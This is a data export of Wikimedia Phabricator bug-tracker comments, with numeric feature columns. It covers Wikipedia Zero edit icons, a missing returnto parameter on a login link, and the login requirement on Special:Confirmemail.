293919,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"The per-section edit pencil was IIRC added to the page dynamically, so it was suppressed with a combination of CSS and JS. I'm guessing something about the event firing model or CSS style changed.

The HTML is going to be identical across carriers on a per-language basis, even though certain features will only be available depending on carrier capabilities.

Which skin would you recommend updating? Superclass or not? It sounds like we'd still need to always apply page runtime JS stuff to modify the edit thing, but like you mentioned in our face to face, maybe there's a way to wrap edit icons in a tag, thereby making it easier to enable/disable depending on carrier capabilities.",,,1391460596,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.5,0.0,1.0,0.5,3.0,1.0,0.0,0.5,0.0,1.5,1.0,0.0,0.5,0.5,2.0,0.0,5.5,12.5,0.5,3.5,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,2.0,1.0,2.5,0.5,2.0,1.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,17.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,5.0,2.5,7.0,0.5,3.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,5.5,12.5,2.0,1.5,0.0,0.0,5.5,0.0,0.5,2.5,0.0,4.0,0.5,0.0,0.0,4.1521739130434785,0.8115942028985508,"The per-section edit pencil was IIRC added to the page dynamically, so it was suppressed with a combination of CSS and JS. I'm guessing something about the event firing model or CSS style changed.

The HTML is going to be identical across carriers on a per-language basis, even though certain features will only be available depending on carrier capabilities.

Which skin would you recommend updating? Superclass or not? It sounds like we'd still need to always apply page runtime JS stuff to modify the edit thing, but like you mentioned in our face to face, maybe there's a way to wrap edit icons in a tag, thereby making it easier to enable/disable depending on carrier capabilities."
293916,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14459
Edit pencil - login page, no banner, no interstitial

Note that tapping on Login yields a page without W0 banner, sadly without an interstitial beforehand.

**Attached**: {F13367}",,,1391459651,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,16.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,4.045454545454546,0.75,"Created attachment 14459
Edit pencil - login page, no banner, no interstitial

Note that tapping on Login yields a page without W0 banner, sadly without an interstitial beforehand.

**Attached**: {F13367}"
293913,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14458
Edit pencil - login

Note no interstitial was shown.

**Attached**: {F13366}",,,1391459578,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.84,"Created attachment 14458
Edit pencil - login

Note no interstitial was shown.

**Attached**: {F13366}"
293910,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,"Created attachment 14457
Edit pencil while on a W0 partner network

This is from the simulator, but is reproducible in iOS 7 on a real device.

**Attached**: {F13365}",,,1391459467,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,15.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.55,0.825,"Created attachment 14457
Edit pencil while on a W0 partner network

This is from the simulator, but is reproducible in iOS 7 on a real device.

**Attached**: {F13365}"
293903,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,dr0ptp4kt some more detail would help - this doesn't make much sense to me and I know MobileFrontend pretty well - how are you disabling editing in Zero? It would make more sense to alter the skin if you are not doing so already. If you have a CSS/JS hack that is bad...,,,1391453254,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,3.0,0.0,0.0,0.0,3.0,7.0,2.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,12.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,12.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,10.0,8.0,7.0,2.0,0.0,0.0,10.0,0.0,3.0,2.0,2.0,5.0,3.0,0.0,2.0,3.694915254237288,0.847457627118644,dr0ptp4kt some more detail would help - this doesn't make much sense to me and I know MobileFrontend pretty well - how are you disabling editing in Zero? It would make more sense to alter the skin if you are not doing so already. If you have a CSS/JS hack that is bad...
293896,Section edit pencil icons showing in Wikipedia Zero despite no HTTPS support,A link to a demonstration of this issue would be helpful.,,,1391451728,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oldng4ohn3llekyaofz6,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,1.0,A link to a demonstration of this issue would be helpful.
62594,MediaWiki:Watchnologintext needs returnto parameter,"If I visit action=watch logged out, I get:

----

You must be <a href=""/wiki/Special:UserLogin"" title=""Special:UserLogin"">logged in</a> to modify your watchlist.

Return to <a href=""/wiki/MediaWiki"" title=""MediaWiki"">MediaWiki</a>.

----

The Special:UserLogin URL should include a returnto parameter so that after logging in/registering the user can at least get back to the original page.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/Requests_for_comment/Performance_standards_for_new_features?action=watch",Medium,50.0,1391028360,1396746673.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-ofjshhkgo2ggihan5iri,task_description,resolved,True,c3,1,True,False,True,-75,True,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.5,11.0,2.5,0.0,4.5,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,8.0,5.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,1.5,4.009433962264151,0.660377358490566,"If I visit action=watch logged out, I get:

----

You must be <a href=""/wiki/Special:UserLogin"" title=""Special:UserLogin"">logged in</a> to modify your watchlist.

Return to <a href=""/wiki/MediaWiki"" title=""MediaWiki"">MediaWiki</a>.

----

The Special:UserLogin URL should include a returnto parameter so that after logging in/registering the user can at least get back to the original page.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**URL**: URL"
284901,MediaWiki:Watchnologintext needs returnto parameter,"Change 123837 merged by jenkins-bot:
WatchAction: Add 'returnto' and 'returntoquery' to the login link

https://gerrit.wikimedia.org/r/123837",,,1396746741,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.08,0.84,"Change 123837 merged by jenkins-bot:
WatchAction: Add 'returnto' and 'returntoquery' to the login link

GERRIT_URL"
284894,MediaWiki:Watchnologintext needs returnto parameter,Thanks for the patch!,,,1396746673,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Thanks for the patch!
284887,MediaWiki:Watchnologintext needs returnto parameter,"(In reply to Nemo from comment #1)
> I hope that the ""Return to MediaWiki"" part doesn't mean the title= parameter
> is being ignored completely (so that it defaults to the main page) just
> because the token is absent or something. In that case, things might be
> trickier.

No, the user will just have to confirm the action by clicking ""OK"" one more time. You can test it by looking at e.g. <https://en.wikipedia.org/w/index.php?title=Main_Page&action=watch> (the link has no token on it, obviously).",,,1396610398,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-65,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,5.0,13.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,3.0327868852459017,0.7377049180327869,"(In reply to Nemo from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

No, the user will just have to confirm the action by clicking ""OK"" one more time. You can test it by looking at e.g. <URL (the link has no token on it, obviously)."
284880,MediaWiki:Watchnologintext needs returnto parameter,"Change 122089 abandoned by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

Reason:
New patch set at https://gerrit.wikimedia.org/r/123837

https://gerrit.wikimedia.org/r/122089",,,1396600811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.96,0.76,"Change 122089 abandoned by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

Reason:
New patch set at GERRIT_URL

GERRIT_URL"
284874,MediaWiki:Watchnologintext needs returnto parameter,"Change 123837 had a related patch set uploaded by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

https://gerrit.wikimedia.org/r/123837",,,1396600723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-65,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.190476190476191,0.9047619047619048,"Change 123837 had a related patch set uploaded by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

GERRIT_URL"
284867,MediaWiki:Watchnologintext needs returnto parameter,"Change 122089 had a related patch set uploaded by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

https://gerrit.wikimedia.org/r/122089",,,1396148927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-66,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.190476190476191,0.9047619047619048,"Change 122089 had a related patch set uploaded by Konarak:
MediaWiki:Watchnologintext: Add returnto parameter

GERRIT_URL"
284859,MediaWiki:Watchnologintext needs returnto parameter,"**mizael_88** wrote:

I was wrong earlier. 
Now I see that if you use the ""log in"" option at the top right of the page Returnto works correctly. But if you use this ""You must be logged in to modify your watchlist"" does not work. 

I'll try solve again.",,,1393587359,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,5.0,0.0,8.0,12.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,5.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,12.0,2.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.169230769230769,0.7230769230769231,"**mizael_88** wrote:

I was wrong earlier. 
Now I see that if you use the ""log in"" option at the top right of the page Returnto works correctly. But if you use this ""You must be logged in to modify your watchlist"" does not work. 

I'll try solve again."
284852,MediaWiki:Watchnologintext needs returnto parameter,"(In reply to Severino Mizael from comment #2)
> Returnto is to send you to a specific page. not to perform an action.
> read http://www.mediawiki.org/wiki/User:S_Page_(WMF)/Return_to

I read it, but it didn't say anything new to me. :) I don't understand your comment, I'm asking returnto to contain a specific page i.e. the page one was in (this is the standard usage), not ""to perform an action"".",,,1393573394,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-70,True,0.0,1.0,0.0,0.0,4.0,4.0,3.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,12.0,1.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,6.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,1.0,7.0,0.0,1.0,0.0,1.0,6.0,0.0,3.0,0.0,10.0,12.0,3.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,3.2753623188405796,0.7391304347826086,"(In reply to Severino Mizael from comment #2)
QUOTE
QUOTE

I read it, but it didn't say anything new to me. :) I don't understand your comment, I'm asking returnto to contain a specific page i.e. the page one was in (this is the standard usage), not ""to perform an action""."
284847,MediaWiki:Watchnologintext needs returnto parameter,"**mizael_88** wrote:

Returnto is to send you to a specific page. not to perform an action.
read http://www.mediawiki.org/wiki/User:S_Page_(WMF)/Return_to

maybe this is not a bug.",,,1393526669,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,False,,,-70,True,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0285714285714285,0.6857142857142857,"**mizael_88** wrote:

Returnto is to send you to a specific page. not to perform an action.
read URL

maybe this is not a bug."
284842,MediaWiki:Watchnologintext needs returnto parameter,"I hope that the ""Return to MediaWiki"" part doesn't mean the title= parameter is being ignored completely (so that it defaults to the main page) just because the token is absent or something. In that case, things might be trickier.",,,1391029478,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ofjshhkgo2ggihan5iri,task_subcomment,,True,c3,1,True,,,-75,True,0.0,2.0,2.0,4.0,2.0,6.0,4.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,12.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,15.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9791666666666665,0.8125,"I hope that the ""Return to MediaWiki"" part doesn't mean the title= parameter is being ignored completely (so that it defaults to the main page) just because the token is absent or something. In that case, things might be trickier."
62434,Do not require login on Special:Confirmemail to confirm the email,"Before gerrit 94406 it was possible to confirm a email code without the need of login to (any) user account. This was changed and produced bug 60433.

In my opinion the old behaviour should be restored.

If not, the logged in user should be checked against the user which gets confirmed, because that can differ at the moment.

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1390686960,1459876175.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-rdsfvcvl7kcljmcuza77,task_description,resolved,True,c3,1,True,False,False,-75,True,1.0,0.0,0.0,3.0,1.0,3.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,1.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,7.0,2.0,1.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9302325581395348,0.7093023255813954,"Before gerrit 94406 it was possible to confirm a email code without the need of login to (any) user account. This was changed and produced bug 60433.

In my opinion the old behaviour should be restored.

If not, the logged in user should be checked against the user which gets confirmed, because that can differ at the moment.

--------------------------
**Version**: 1.23.0
**Severity**: normal"
640829,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 merged by jenkins-bot:
Do not require login on Special:Confirmemail to confirm the email

[[https://gerrit.wikimedia.org/r/145511]]",,,1459876617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.888888888888889,0.8888888888888888,"Change 145511 merged by jenkins-bot:
Do not require login on Special:Confirmemail to confirm the email

[[GERRIT_URL]]"
460463,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 had a related patch set uploaded (by Umherirrender):
Do not require login on Special:Confirmemail to confirm the email

[[https://gerrit.wikimedia.org/r/145511]]
",,,1431971303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.09375,0.90625,"Change 145511 had a related patch set uploaded (by Umherirrender):
Do not require login on Special:Confirmemail to confirm the email

[[GERRIT_URL]]
"
290617,Do not require login on Special:Confirmemail to confirm the email,"Change 145511 had a related patch set uploaded by Rohan013:
Login check in Special:Confirmemail was removed

https://gerrit.wikimedia.org/r/145511",,,1405057942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,False,,,-51,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7727272727272725,0.9545454545454546,"Change 145511 had a related patch set uploaded by Rohan013:
Login check in Special:Confirmemail was removed

GERRIT_URL"
290610,Do not require login on Special:Confirmemail to confirm the email,I'm okay with doing this either way.,,,1390844697,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-rdsfvcvl7kcljmcuza77,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.3333333333333335,1.0,I'm okay with doing this either way.
